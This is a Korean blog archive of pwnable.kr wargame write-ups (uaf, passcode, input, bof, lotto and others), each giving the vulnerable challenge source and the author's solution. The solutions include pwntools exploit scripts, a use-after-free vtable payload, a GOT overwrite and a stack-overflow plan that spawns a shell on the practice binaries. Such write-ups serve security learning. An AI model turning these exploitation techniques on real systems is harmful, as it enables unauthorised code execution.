Wargame/Pwnable.kr

[pwnable.kr] uaf - 8 pt

2018. 5. 31. 19:28


하늘을 나는 슬라임? 같은 녀석이다.

생각해보니 날개달린 슬라임은 한번도 본적없어...



Use After Free 문제이다. babyuaf라고 해도 될듯... 딱봐도 입문자를 위한 문제의 냄새가 난다.



접속해서 파일들을 보면 이전 문제와 다를게 없다. 차이점이라 할 정도라면 cpp소스라는거?

일단 소스를 보자


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
 
class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};
 
class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
    }
    virtual void introduce(){
        Human::introduce();
        cout << "I am a nice guy!" << endl;
    }
};
 
class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};
 
int main(int argc, char* argv[]){
    Human* m = new Man("Jack"25);
    Human* w = new Woman("Jill"21);
 
    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;
 
        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }
 
    return 0;    
}
 
cs


위와 같다.

uaf버그는 메모리를 할당하고 free한 후 다시 같은 크기의 메모리를 할당할 때 생기는 버그로 위에서 Man m을 free하고 after메뉴에서 m와 같은 크기로 메모리를 할당하게 되면 Man m이 할당되었던 장소를 재사용하게 되어 m이 free됬음에도 그 주소에 우리가 원하는 값을 새로 써 재사용할 수 있는 버그이다.


일단 void give_shell()이란 함수를 확인할 수 있으니 저걸 호출할 수 있으면 쉘을 딸수있어 Flag를 획득하기 좋을 것 같다. 

gdb-peda로 디버깅하면서 분석해봐야겠다. 그런데 2. after 메뉴가 메로리를 할당할때, 파일로 부터 읽어오므로 현폴더에는 권한이 없어 tmp폴더로 이동하여 진행하였다.



일단 use할 때 어떻게 진행되는지 보았다.  introduce()의 주소를 rdx에 넣어 call하게 되는것 같다. 

rdx에 넣기위해 rax에 먼저 값을 로드하고 거기에 8을 더한 주소에 값을 가져와 호출하게 되는 방식이다.



참고로 여기서 give_shell()함수의 주소를 찾을수 있었다. 0x401550에 주소가 저장되어있다.



일단 저렇게 넣어놓고, free한 후 after 2번을 통해 8바이트를 2번 할당해보았다. 

2번 할당한 이유는 m와 w 둘다 재사용하기 위해서이다. 안그러면 프로그램이 use에서 죽어버려서 ...

(여기서 8바이트로 할당한 이유는 m와 w가 둘다 introduce()라는 함수만 가지고 있어서 8바이트만 할당된것같다.)

(이게 그런데 문제서버말고 내 서버에서 컴파일해서 돌렸을 때는 48정도를 할당하지않으면 안덮여진다 ㅡㅡ;)



보면 알겠지만 rax가 0x41414141...49로 되어있다. 성공적으로 m과 w에 우리가 원하는 값이 재할당된것...

이제 저기에 0x401550-8의 값이 로드되게하면 된다.


1
uaf@ubuntu:/tmp/myria$ (python -'print("\x48\x15\x40\x00"+"\x00"*4)'> data
cs





성공~

'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] leg  (0) 2018.06.08
[pwnable.kr] cmd2  (0) 2018.06.08
[pwnable.kr] passcode - 10 pt  (0) 2018.05.28
[pwnable.kr] echo1 - 25 pt (Only ROP!!)  (0) 2018.05.27
[pwnable.kr] echo1 - 25 pt  (0) 2018.05.26

[pwnable.kr] passcode - 10 pt

2018. 5. 28. 15:51


이번에 풀어볼 녀석은 이 달걀 껍질을 쓴 새?같은 녀석이다.



문제는 위와 같다. C code 컴파일할때 에러없이 컴파일 되지만, warning을 표시해준다고 하는데 , 먼저 접속해서 무슨 파일들이 주어지는지 확인해보자.



위와 같은 파일들이 주어지고, flag 권한을 보아 passcode를 이용해서 flag를 봐야할것같다.

소스파일을 보면 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
 
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
            printf("Login OK!\n");
            system("/bin/cat flag");
        }
    else{
        printf("Login Failed!\n");
        exit(0);
    }
}
 
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
 
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
 
    welcome();
    login();
 
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}
 
cs


위와 같은 소스를 컴파일하면 컴파일은 되지만 경고메세지를 출력해준다. 

scanf를 사용할 때 포맷을 잘못설정해서 이러한 경고메세지를 띄워주는데, 그래도 컴파일은 되는 것을 볼 수 있다.



경고메세지가 뜨는 이유는 scanf("%d", passcode)에서 &가 빠진것때문이다. 이렇게 컴파일하면 scanf로 받은 정수값이 저장되는 장소는 passcode의 변수값을 주소로하는 곳이다. &를 붙여주면 passcode의 주소값이 scanf의 인자로 들어가 passcode에 입력받은 정수값이 저장되지만, 여기서는 &를 붙여주지않아 passcode의 값이 scanf의 인자로 들어가 passcode의 값을 주소로하는 곳에 정수값이 저장되게된다.


그래서 뭐 저 scanf가 있는 login()함수에서는 입력한 값이 어디 저장되는지 몰라서 segment fault가 계속 뜨게된다.(아마 쓸수없는 메모리영역에 자꾸 쓰려해서 죽는듯...)

그래서 login()함수 전에 나오는 welcome()함수를 보면 사용자로부터 100자를 입력받는데, 여기에 login 함수에 영향을 미치는 부분이 있다.



welcome에서는 ebp-0x70에서 scanf로 입력받은 값을 저장한다.




login에서는 ebp-0x10의 장소에 passcode의 값이 들어가 있는데, welcome에서 "A"를 100개 입력하고 보면 passcode변수의 값이 덮여써져있는 것을 볼 수 있다.



위와같이 "A" 100개 입력으로 ebp-0x10의 영역이 덮인것을 볼 수 있다.

그렇다면 welcome함수에서 "A"* 96개와 나머지 4바이트를 써 passcode1 변수값을 덮을 수 있고, passcode1의 변수값이 scanf의 인자로 들어가므로

got overwrite를 할 수 있다. 그럼 우리는 위 프로그램의 흐름을 조종하여  system("/bin/cat flag"); 을 실행하게 할 수 있다.



어느 함수를 overwrite할까 하다가 exit함수의 got를 system("/bin/cat flag"); 가 있는 곳으로 덮어쓰우기로 했다.

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
import string
 
conn = process("/home/passcode/passcode")
 
conn.sendline("A"*96+"\x18\xa0\x04\x08")
conn.sendline("134514135"# 0x080485d7
conn.sendline("trash!")
 
conn.interactive()
 
cs


exit함수의 got를 if문을 무사히 통과한 주소로 덮어씌우는 코드...

scanf에서 %d로 입력받으므로 정수값으로 주소값을 전달해줬고, passcode2에 정수값을 입력하면 세그먼트폴트가 뜨기때문에 문자열을 넣어 패스해줬다.



굿굿

'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] cmd2  (0) 2018.06.08
[pwnable.kr] uaf - 8 pt  (0) 2018.05.31
[pwnable.kr] echo1 - 25 pt (Only ROP!!)  (0) 2018.05.27
[pwnable.kr] echo1 - 25 pt  (0) 2018.05.26
[pwnable.kr] coin1 - 6 pt  (0) 2018.05.15

[pwnable.kr] echo1 - 25 pt

2018. 5. 26. 19:42

[pwnable.kr] coin1 - 6 pt

2018. 5. 15. 00:00


코인 문제당...



게임! 플레이! 예이!


실행하면 아래와 같은 문자열이 나온다. 게임을 어떻게하는지 설명해주는 것같다.


---------------------------------------------------

-              Shall we play a game?              -

---------------------------------------------------

You have given some gold coins in your hand

however, there is one counterfeit coin among them

counterfeit coin looks exactly same as real coin

however, its weight is different from real one

real coin weighs 10, counterfeit coin weighes 9

help me to find the counterfeit coin with a scale

if you find 100 counterfeit coins, you will get reward :)

FYI, you have 30 seconds.

- How to play - 

1. you get a number of coins (N) and number of chances (C)

2. then you specify a set of index numbers of coins to be weighed

3. you get the weight information

4. 2~3 repeats C time, then you give the answer

- Example -

[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial

[Client] 0 1 # weigh first and second coin

[Server] 20 # scale result : 20

[Client] 3 # weigh fourth coin

[Server] 10 # scale result : 10

[Client] 2 # counterfeit coin is third!

[Server] Correct!


- Ready? starting in 3 sec... -

N=919 C=10

time expired! bye!

 


핰... 번역해보니 꽤나 재미있는 내용이다.

나에게 골드가 어느정도 있고, 그 중 하나가 위조골드라고 한다. (편의상 가짜골드라고 하겠다.)

그런데 이 가짜골드는 무게가 진짜골드랑 다르다고하는데, 진짜 골드의 무게가 10이라면 가짜골드는 9이다.


시간은 30초 주겠고, 100개의 가짜골드를 찾아준다면 상을 주겠다고 한다.


어떻게 플레이하는지는 직접 읽자.. 영어를 조금만 한다면 번역가능하다.


그런데 N=900정도로 주어지는데 예시를 보면 동전인덱스를 하나하나 입력하므로.... 코딩해서 풀어야할 것 같다. 그것도 소켓프로그래밍....

이라고 할 줄 알았지만! pwntools라는 멋진 툴이 존재하므로 그것을 이용하겠다!



굿!!!


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
from pwn import *
import string
 
conn = remote('pwnable.kr'9007)
 
conn.recvuntil("- Ready? starting in 3 sec... -")
 
cnt_fake = 0
 
while(cnt_fake<100):
    conn.recvuntil("=")
    N = int(conn.recvuntil(" ").strip())
    conn.recvuntil("=")
    C = int(conn.recvline().strip())
        
    #print("Problem : N=%d C=%d" % (N,C))
 
    left = 0
    right = N
    mid = (left+right+1// 2
 
    cnt = 0
    for c in range(C+1):
        coins = ""
        for i in range(left, mid):
            coins += str(i)+" "
        conn.sendline(coins)
        if(c==C):
            break
        weight = int(conn.recvline().strip())
        real_weight = (mid-left)*10
        if(real_weight == weight):
            left = mid
            mid = (left+right+1// 2
        elif(weight == 9):
            cnt = C-c
            break
        else:
            right = mid
            mid = (left+right+1// 2
 
    for i in range(cnt):
        conn.sendline(coins)
    print(conn.recvuntil("Correct!")),
    print(conn.recvline())
    cnt_fake+=1
 
conn.interactive()
cs



'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] echo1 - 25 pt (Only ROP!!)  (0) 2018.05.27
[pwnable.kr] echo1 - 25 pt  (0) 2018.05.26
[pwnable.kr] flag - 7 pt  (0) 2018.05.14
[pwnable.kr] input - 4 pt  (0) 2018.05.10
[pwnable.kr] lotto - 2 pt  (0) 2018.05.10

[pwnable.kr] flag - 7 pt

2018. 5. 14. 23:45


flag!! flag를 얻자! ( + 비공개글을 제외한 200번째 글이다! )



아빠가 packed present를 가져왔고 열어보려고 한다~ 라는게 문제다.


flag binary파일을 다운받을 수 있고, elf파일이다. 리눅스에서 file명령어를 통해 더 자세히 알 수 있다.

flag를 실행하면 "I will malloc() and strcpy the flag there. take it." 라는 문자열이 나오고 프로그램이 종료된다.


먼저 gdb로 분석하려하였으나 main의 링크를 삭제한것인지 디스어셈블링할 수 없었다. 그래서 Ida를 통해 분석하려하였으나,

어디를 보아도 flag를 실행하였을때의 문자열이 보이지않았고, 작동하는 루틴도 뭔가 이상하여서 조금 삽질을 많이 했다.


그러다가 문제의 reversing task란 것과 packed를 보고 pack된 파일이란 것을 떠올렸고, 말만 들어본 unpacking을 처음으로 공부해보았다...



일단 IDA의 String window를 통해서 UPX로 패킹된 파일이란 것을 알 수 있었다.

그럼 바로 언팩을 해보자.



리눅스에서 간편하게 할 수 있었다..


upx -d flag 를하면 쉽게 언핵해준다.



급한데로 gdb로 실행하여보니, 확실히 malloc한 후, strcpy로 flag를 복사하는 것 같다.

대충 strcpy로 보이는 함수를 부르기전에 인자를 넣는 과정에 브레이크를 건 후 무엇이 들어가는지 출력시켜보았다.



와웅... 저게 아마 플래그같다.



플래그가 맞았다 ㅋㅋㅋㅋ



심심하니까 IDA로 언팩된 파일을 한번 봐보자.



오우.. 아까와 달리 뭔가 main도 있고 다 잘보인다 굿굿



플래그 역시 찾아볼 수 있다. ~~ 굿


'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] echo1 - 25 pt  (0) 2018.05.26
[pwnable.kr] coin1 - 6 pt  (0) 2018.05.15
[pwnable.kr] input - 4 pt  (0) 2018.05.10
[pwnable.kr] lotto - 2 pt  (0) 2018.05.10
[pwnable.kr] bof- 5 pt  (0) 2018.05.09

[pwnable.kr] input - 4 pt

2018. 5. 10. 22:42


먼가 아파보이는 녀석이다..

input문제인 것 같다. 문제를 확인해보자.



프로그램에 어떻게 입력을 넣는지에 대한 문제인 것 같다.



설명생략. 보시는 대로!


바로 소스를 보자


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
 
int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");
 
    // argv
    if(argc != 100return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");    
 
    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
    printf("Stage 2 clear!\n");
    
    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");
 
    // file
    FILE* fp = fopen("\x0a""r");
    if(!fp) return 0;
    if( fread(buf, 41, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");    
 
    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 40!= 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;
    printf("Stage 5 clear!\n");
 
    // here's your flag
    system("/bin/cat flag");    
    return 0;
}
cs


스테이지1~5까지 있고 모두 통과하면 flag를 출력해준다.


Welcome to pwnable.kr

Let's see if you know how to give input to program

Just give me correct inputs then you will get the flag :)


모두 조건에 맞게 입력하면 플래그를 주겠다고 한다.


스테이지 1은 인자가 100개여야하고 argc==100

argv['A'] 가 \x00이여야하고 argv['B'] 는 \x20\x0a\x0d이여야 한다. 


여기서 argc를 100개 만드는것은 문제가 없으나 argv[65]가 \x00으로 만드는데서 조금 해멨으나; 그냥 문자열로 아무것도 안넣으주면 null값만 들어가서 해결할 수 있었다. 마찬가지로 \x20\x0a\x0d값은 각각 공백,줄바꿈 문자들이나 따옴표(")로 묶어 문자열로 넣어줄 수 있다.


이를 파이썬으로 하면 이렇게 된다.

./input `python -c 'print("A "*64)'` "" "`python -c 'print("\x20\x0a\x0d")'`"  `python -c 'print("A "*33)'`



후... 겨우 스테이지1 통과

그리고 이제 스테이지 2인데.. 여기서 막혔다 ㅠ;


(python -c 'print("\x00\x0a\x00\xff")') | ./test `python -c 'print("A "*64)'` "" "`python -c 'print("\x20\x0a\x0d")'`"  `python -c 'print("A "*33)'`


위 명령을 쓰면 read(0, buf, 4)는 통과할 수 있으나 문제는 그 뒤 stderr에 4바이트를 읽어오는 것을 어떻게 하느냐이다..

일단 stderr도 입력이 되긴 하는데... 이걸 파이프로 보낼수가 없다 ㅡㅡ;


여러가지 삽질하다가 C에서 pipe를 이용하면 어찌저찌 될 것 같다는 것을 암과 동시에... pwnable.kr 서버에서 pwntools를 사용할 수 있다는 것도 알았다.

pipe도 공부해두면 일단 도움이 되긴 하겠지만... 먼저 pwntools를 이용해서 풀어보겠다.


참고 pipe 설명 : http://nroses-taek.tistory.com/139


classpwnlib.tubes.process.process(argvshell=Falseexecutable=Nonecwd=Noneenv=Nonetimeout=pwnlib.timeout.Timeout.defaultstdin=-1stdout=<pwnlib.tubes.process.PTY object>stderr=-2level=Noneclose_fds=Truepreexec_fn=<function <lambda>>raw=Trueaslr=Nonesetuid=Nonewhere='local'display=None)[source]


코드를 작성해야하는데 현재 디렉토리에서는 권한이 없다. 그러므로 권한이 있는 /tmp 폴더로 이동하여 자신의 임시폴더를 만들어 이곳에서 공격코드를 작성해보겠다.


pwntools에서 바이너리 파일과 연결하는 데에 process를 사용한다.

process(argv, env, stderr=-2, ....) 으로 argv와 stderr를 이용해서 stage2까지 통과할 수 있을 것 같다.



이제 process에서 env까지 프로그램에서 원하는데로 설정해주면 stage3까지 통과할 수 있다.


이제 stage4인데 파일명이 \x0a이고 안의 내용은 \x00\x00\x00\x00이다.

파일명이 \x0a라서 이걸 생성하려고 하니, 자꾸 없는 파일이라 뜨거나 오류가 나서 bash로 생성을 못해서 조금 헤맸다.


그런데 python 안에서 open함수로 열어서 쓰기를 하니까 이상하게 여기서는 된다 ...; 그래서 중간에 아래와 같은 소스를 추가해서 stage4도 통과할 수 있었다.


1
2
3
= open("\x0a",'w')
f.write("\x00\x00\x00\x00")
f.close()
cs


이제 마지막 stage5만 남았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    
    // init network setting
    // socket address assignment and connect , success=0, fail = -1
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);    //connect listen possible, one client...!
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 40!= 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;
    printf("Stage 5 clear!\n");
 
    // here's your flag
    system("/bin/cat flag");    
    return 0;
}
cs


stage5는 소켓 서버를 만든다. argv['C']의 포트로 서버를 열어 클라이언트 1명까지 받아 클라이언트로 부터 4byte를 받는다.

그러므로 우리는 stage4까지 통과하고 stage5에 들어가면 argv['C']의 포트로 접속하여 "\xde\xad\xbe\xef"값을 보내주면 되겠다.


공격코드는 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
 
prog = []
prog.append("/home/input2/input")
#prog.append("./test")
for i in range(99):
    prog.append("A")
prog[ord("A")]=""
prog[ord('B')]="\x20\x0a\x0d"
prog[ord('C')]="35790"
 
conn = process(prog, stderr=open("stderr",'r'), env={"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"})
print(conn.recvuntil("Stage 1 clear!"))
 
= open("\x0a",'w')
f.write("\x00\x00\x00\x00")
f.close()
 
conn.sendline("\x00\x0a\x00\xff")
print(conn.recvuntil("Stage 4 clear!"))
 
#sleep(3)
reconn = remote("127.0.0.1"35790)
reconn.send("\xde\xad\xbe\xef")
reconn.close()
 
print(conn.recvline())
print(conn.recvall())
 
conn.interactive()
 
cs



이제 공격하면 된다.



Stage 5 clear! 가 뜨는 것을 볼 수 있다.

그런데 원래대로라면 system("/bin/cat flag"); 에 의해 flag가 출력되어야하는데 


flag는 보이지않고 그냥 interactive mode로 들어가버린다. 게다가 이미 프로그램은 끝나버렸다 ㅡㅡ;

왜인지 생각해보니 input바이너리 파일이 있는 폴더에 flag가 있는데, 내가 공격코드를 실행하는 주소는 /tmp/myria에 있다. 

즉 /bin/cat flag가 현재 디렉토리에서 실행되는데 flag가 없으므로 아무것도 출력되지 않는것이다.


이를 해결하는 방법은 2가지가 있는데,


첫번째로 input바이너리가 있는 폴더로 이동하여 절대경로로 공격코드를 실행하는 방법.

두번째로 /tmp/myria 디렉토리에 flag의 심볼릭링크를 건 파일을 생성하는 방법


첫번째방법은 "\x0a"파일을 생성하거나 stderr를 만드는것이 input이 있는 폴더에서 생성되지않아 코드를 수정해야하므로 

두번째 방법을 이용해서 풀도록 하겠다.



성공적으로 링크가 걸렸고, 이제 공격코드를 실행하면 된다.



예이~


플래그 출력 성공!

'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] coin1 - 6 pt  (0) 2018.05.15
[pwnable.kr] flag - 7 pt  (0) 2018.05.14
[pwnable.kr] lotto - 2 pt  (0) 2018.05.10
[pwnable.kr] bof- 5 pt  (0) 2018.05.09
[pwnable.kr] collision - 3 pt  (0) 2018.05.02

[pwnable.kr] lotto - 2 pt

2018. 5. 10. 22:38


lotto다 로또!

이번에는 토끼처럼 생긴 카드에 적혀잇다. 문제를 보자



로또 프로그램을 숙제로 만들었는데 한번 플레이해보겠냐는것 같다.



보면 알겠지만 lotto파일에 setuid가 걸려있고, 읽을 수 있는 파일은 lotto.c밖에 없다.

내용을 한번 보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
 
unsigned char submit[6];
 
void play(){
    
    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);
 
    int r;
    r = read(0, submit, 6);
 
    printf("Lotto Start!\n");
    //sleep(1);
 
    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6!= 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45+ 1;        // 1 ~ 45
    }
    close(fd);
    
    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }
 
    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }
 
}
 
void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
 
int main(int argc, char* argv[]){
 
    // menu
    unsigned int menu;
 
    while(1){
 
        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");
 
        scanf("%d"&menu);
 
        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}
 
 
cs


이렇게 돌아가는 소스코드이다. /dev/urandom 을 이용하여 0~45의 값을 가지는 6바이트의 랜덤값을 가져오고

사용자에게 6바이트를 입력받아 비교한 후 6개의 값이 같다면 /bin/cat flag를 실행하여 플래그를 출력해준다.


처음에는 urandom에 취약점이 있는가 싶었지만...

사용자한테 입력받은 값과 랜덤6바이트를 비교하는 과정에서 취약점이 있었다.


1
2
3
4
5
6
7
8
9
    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }
cs


위에 보면 알겠지만 2중 for문을 사용하고 있는데, lotto[i]를 고정해두고 submit의 모든 값과 비교해서 1개라도 일치하면 match값을 증가시킨다.

이렇게 할 경우 만약 submit에 같은 값만 들어있을 경우 lotto[i]와 submit[j] 중 일치하는 값이 하나만 존재하여도 match의 값은 6으로 바로 증가할 수 잇을 것이다.


그러므로 submit의 값 6개를 모두 같은 값(0~45)을 입력하고 랜덤한 lotto값 6바이트중에 우리가 입력한 값이 포함된다면 플래그를 얻을 수 있을 것이다.



아스키코드표를 보면 32~45까지는 표현할 수 있는 아스키값이므로 임의로 '!'=33을 선택하여

성공할 때까지 프로그램을 돌려보기로 하였다.



잉? 한번에 성공해서 당황했다. 적어도 6/46이니까 7~8정도 돌릴줄 알았는데....ㅋㅋ 


운이 좋았다... 진짜 로또였으면 대박이였을텐데.... 큭;

어쨋든 클리어..ㅋㅋ


'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] flag - 7 pt  (0) 2018.05.14
[pwnable.kr] input - 4 pt  (0) 2018.05.10
[pwnable.kr] bof- 5 pt  (0) 2018.05.09
[pwnable.kr] collision - 3 pt  (0) 2018.05.02
[pwnable.kr] blackjack - 1 pt  (0) 2018.05.01

[pwnable.kr] bof- 5 pt

2018. 5. 9. 14:36


이번에 풀어볼 녀석은 너구리? 같은 넘이 손들고있는 bof문제이다.



bof는 소프트웨어 취약점으로 가장 흔하다고 한다.

bof바이너리 파일이랑 bof.c 소스코드를 제공한다.


받은 소스코드는 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
 
cs


프로그램을 실행하면 func함수에 인자로 0xdeadbeef를 넣어 실행시킨다.

func함수는 "overflow me : "라는 문자열과 함께 gets으로 사용자에게 문자열을 입력받고, 여기서 오버플로우가 일으켜 인자로 주어진 key값을 변조시켜 system함수로 "/bin/sh"를 실행시킬수 있을 것이다.


먼저 checksec으로 bof에 걸려있는 보호기법을 확인해보았다.



일단 Canary가 있어서 bof가 일어나면 프로그램이 끝나기전에 검사하여 에러를 출력할 듯하다.



gets로 받는 buffer와 인자 key까지의 거리를 알기위해 gdb로 디스어셈블링해보았다.


   0x00000649 <+29>: lea    eax,[ebp-0x2c]

   0x0000064c <+32>: mov    DWORD PTR [esp],eax

   0x0000064f <+35>: call   0x650 <func+36>


이부분이 get함수를 부르는 부분이다. buf는 ebp-0x2c부터 받는다.


   0x00000654 <+40>: cmp    DWORD PTR [ebp+0x8],0xcafebabe

   0x0000065b <+47>: jne    0x66b <func+63>


그리고 여기서 ebp+0x8위치에 있는 값과 0xcafebabe를 비교한다.
소스코드를 볼때 
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
key == 0xcafebabe 이므로 ebp+0x8위치에 있는 값이 인자로 들어온 key일 것이다. 
현재 이 값은 0xdeadbeef이고, 이 값을 0xcafebaba로 변조시키면 될 듯하다.


ebp-0x2c ~ ebp+0x8까지 52의 차이가 나므로 이를 쓰레기값으로 채우고 다음으로0xcafebabe로 채우면 될 것같다.



공격을 하여 플래그를 출력해보았다.



끝나치고 나가려하니까 그제서야 *** stack smashing detected ***가 떴다. 카나리가 변조되서 뜬 것같지만... 

그전에 system으로 쉘을 이용해서 큰 상관은 없는듯...


클리어!


'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] input - 4 pt  (0) 2018.05.10
[pwnable.kr] lotto - 2 pt  (0) 2018.05.10
[pwnable.kr] collision - 3 pt  (0) 2018.05.02
[pwnable.kr] blackjack - 1 pt  (0) 2018.05.01
[pwnable.kr] cmd1 - 1 pt  (0) 2018.05.01

[pwnable.kr] collision - 3 pt

2018. 5. 2. 13:12


이번에 풀어볼 녀석은 이 뭔가 송충이에 초록싹이 돋아난것같은 놈이다.


collision!



MD5 Hash collision이라고 한다... 뭔가 어려워보이는데


